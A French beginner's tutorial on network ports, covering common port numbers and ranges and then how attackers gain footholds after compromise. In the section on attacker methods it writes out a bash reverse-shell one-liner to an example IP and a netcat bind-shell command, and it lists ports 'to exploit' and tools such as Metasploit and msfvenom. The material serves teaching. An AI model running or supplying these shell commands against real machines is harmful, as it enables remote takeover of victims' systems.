C’est quoi un port (réseau) ?

1. Définition simple

Un **port réseau**, c’est comme **une porte d’entrée numérique** sur un ordinateur. Chaque port permet à un **service ou une application** de **recevoir ou d’envoyer des données** sur Internet ou dans un réseau local.

Image mentale :

Imagine que ton ordinateur est comme **un immeuble**, avec plusieurs **portes numérotées** (port 21, port 80, port 443…).

Chaque porte correspond à **un type de service** (téléchargement, site web, email…).

2. Adresse IP + Port = Communication complète

Pour qu’un ordinateur communique sur un réseau, il faut deux choses :

- Une **adresse IP** → l’adresse de la machine (comme un numéro de maison)
- Un **port** → la **porte** sur laquelle tu veux frapper

Exemple :

192.168.1.12:80

Signifie → "Va sur l’ordinateur **192.168.1.12**, **porte 80** (le site web)"

3. À quoi servent les ports ?

Chaque **service réseau** écoute sur **un port bien précis** :

Port	Service	Utilisation
21	FTP	Transfert de fichiers
22	SSH	Connexion à distance sécurisée
23	Telnet	Connexion à distance (non sécurisée)
25	SMTP	Envoi d’e-mails
53	DNS	Résolution des noms (ex: google.com → IP)
80	HTTP	Navigation web non sécurisée
443	HTTPS	Navigation web sécurisée
3306	MySQL	Base de données
445	SMB	Partage de fichiers Windows

4. Ports ouverts = portes vulnérables ?

Quand un **port est ouvert**, cela veut dire que **quelqu'un à l'intérieur écoute**. Si ce "quelqu'un" est un **logiciel mal configuré**, c'est une **faille** !

Exemple :
Si le **port 21 (FTP)** est ouvert et mal protégé, un hacker peut :

- Se connecter anonymement
- Lister les fichiers
- Télécharger ou modifier des données sensibles

5. Comment on trouve les ports ?

Avec des outils comme :

- nmap
- netstat
- ss
- telnet
- nc

Les 3 catégories de ports

Plage	Nom	Description
0 – 1023	*Ports bien connus (well-known)*	Réservés aux services essentiels (FTP, HTTP, etc.)
1024 – 49151	*Ports enregistrés (registered)*	Services divers, souvent par des logiciels standards
49152 – 65535	*Ports dynamiques/privés*	Choisis librement par les applications (souvent temporairement)

Liste des principaux ports "bien connus" (0 à 1023)

Port	Protocole	Service	Description
20	TCP	FTP (données)	Transfert de fichiers
21	TCP	FTP (commande)	Contrôle FTP
22	TCP	SSH	Connexion sécurisée à distance
23	TCP	Telnet	Connexion distante (non sécurisée)
25	TCP	SMTP	Envoi d'e-mails
53	UDP/TCP	DNS	Résolution de noms de domaine
67/68	UDP	DHCP	Attribution automatique d'adresses IP
69	UDP	TFTP	Transfert simple de fichiers

Port	Protocole	Service	Description
80	TCP	HTTP	Navigation web
110	TCP	POP3	Récupération d'e-mails
123	UDP	NTP	Synchronisation de l'heure
143	TCP	IMAP	Lecture d'e-mails en ligne
161/162	UDP	SNMP	Surveillance réseau
179	TCP	BGP	Routage inter-réseaux
443	TCP	HTTPS	Web sécurisé (SSL/TLS)
465	TCP	SMTPS	Envoi d'e-mail sécurisé
514	UDP	Syslog	Journaux systèmes
515	TCP	LPD	Impression réseau
631	TCP	IPP	Impression Internet
993	TCP	IMAPS	Lecture d'e-mails sécurisée
995	TCP	POP3S	Récupération d'e-mails sécurisée

Autres ports intéressants à exploiter (par les hackers)

Port	Protocole	Service	Exploits fréquents
3306	TCP	MySQL	Injection SQL, mots de passe faibles
3389	TCP	RDP (Windows)	Brute-force, prise de contrôle
5900	TCP	VNC	Contrôle bureau à distance
8080	TCP	HTTP alternatif	WebApp vulnérable
139 / 445	TCP	SMB	Partage fichiers, EternalBlue, ransomware
111	TCP/UDP	RPC	Linux NFS, attaques DoS
2049	TCP	NFS	Partage de fichiers Linux

Remarques utiles

- Tous les ports peuvent être utilisés, mais **certains sont standardisés** et **attendus** par les outils (ex : navigateur va sur port 80/443 automatiquement).
- Les **services exposés sur des ports ouverts mal sécurisés** sont des **portes d'entrée pour les hackers**.
- C'est pour ça qu'on scanne les ports avec **nmap** pour trouver les points faibles.

Est-ce qu'un hacker peut ouvrir un port à distance (depuis l'extérieur) ?

Un hacker **ne peut pas "ouvrir" un port distant sur une machine qu'il ne contrôle pas.**

Ce que les hackers peuvent faire :

1. **Scanner les ports ouverts ➜** avec `nmap`, `masscan`, etc.
2. **Exploiter une faille sur un service déjà ouvert ➜** ex: FTP mal sécurisé, SSH par brute-force
3. **Exécuter du code malveillant** sur la machine cible ➜ *et ensuite...*

Et là, après avoir compromis la machine, ils peuvent :

- **Ouvrir un nouveau port** eux-mêmes depuis **l'intérieur**
  (ex : démarrer un serveur de commande distant sur le port 4444)
- **Créer un tunnel inversé (reverse shell)** qui leur permet d'accéder à la machine
- **Modifier le pare-feu de la machine** pour autoriser certaines connexions

Exemple courant : Reverse Shell

Un hacker exécute un script sur la machine cible qui **se connecte à lui** :

```
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
```

Cela **ouvre une "porte de sortie"** de la machine cible vers le hacker.

Pourquoi un port est ouvert ?

Un port **est ouvert quand un logiciel l'écoute**.
Seul l'utilisateur (ou un malware) **à l'intérieur** peut dire :

"Je lance un service et j'ouvre le port 8888."

Un **hacker ne peut ouvrir un port sur un PC distant que s'il a réussi à y exécuter du code**.

Autrement dit : **il doit d'abord pénétrer la machine** (via une faille, une ruse ou un logiciel malveillant) **➜ puis il peut ouvrir un port depuis l'intérieur**.

Méthodes utilisées pour y parvenir

1. Ingénierie sociale (Social Engineering)

Le hacker **trompe la victime** pour qu'elle :

- télécharge un faux logiciel,
- ouvre une pièce jointe infectée,
- installe un programme piégé.

Ce programme exécute un script qui ouvre un port ou lance une backdoor.

2. Exploitation de vulnérabilités

Le hacker trouve un **service déjà ouvert** (ex: FTP, RDP, SMB) et exploite :

- Une **faille logicielle (CVE)**,
- Un **mauvais mot de passe**,
- Une **mauvaise configuration**.

Il obtient un **accès distant (shell)** à la machine.

Exemple :

- Exploiter `vsftpd 2.3.4` (Metasploitable2) ➜ obtenir un shell ➜ ouvrir un nouveau port avec Netcat.

3. Reverse Shell / Trojan / Backdoor

Le hacker force la machine à **se connecter vers lui** (reverse shell), ce qui :

- Contourne-les pare-feux,
- Permet une **prise de contrôle**,
- Lui permet d'ouvrir un port avec un serveur Netcat, une backdoor ou Meterpreter.

Exemple : une fois dans la machine, il tape :

```
nc -lvp 5555 -e /bin/bash
```

Et hop! Port 5555 est **ouvert** sur la machine victime.

4. Persistence et ouverture automatique

Une fois à l'intérieur, il peut :

- **Modifier le firewall Windows/Linux** pour autoriser son port
- **Ajouter un service** ou script qui s'exécute au démarrage
- **Lancer un serveur distant (ex : SSH, VNC, Meterpreter)**

Exemples d’outils utilisés :

Outil	Usage
Metasploit	Exploits automatiques + payloads pour ouvrir des shells
Netcat (nc)	Écouter/ouvrir un port, faire un reverse shell
msfvenom	Créer des fichiers malveillants
nmap + scripts NSE	Scanner et tester des vulnérabilités
PowerShell / Bash	Ouvrir des ports via scripts après compromission

Étape 1 : Trouver un port ouvert → Étape 2 : Exploiter une faille → Étape 3 : Prendre le contrôle → Étape 4 : Ouvrir un port depuis l’intérieur